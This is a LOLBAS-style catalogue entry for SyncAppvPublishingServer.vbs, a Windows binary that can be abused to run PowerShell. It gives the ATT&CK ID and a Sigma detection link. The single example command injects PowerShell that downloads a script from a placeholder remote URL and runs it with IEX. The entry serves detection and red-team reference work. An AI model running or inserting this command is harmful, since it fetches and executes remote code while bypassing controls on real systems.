.. /Syncappvpublishingserver.vbs
Star

Execute (PowerShell)

Script used related to app-v and publishing server

Paths:

C:\Windows\System32\SyncAppvPublishingServer.vbs

Resources:

Acknowledgements:

Nick Landers (@monoxgas)
Casey Smith (@subtee)

Detections:

Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml

Execute

Inject PowerShell script code with the provided arguments
```
SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"
```
Use case
Use Powershell host invoked from vbs script

Privileges required
User

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1216.002
Tags
Execute: PowerShell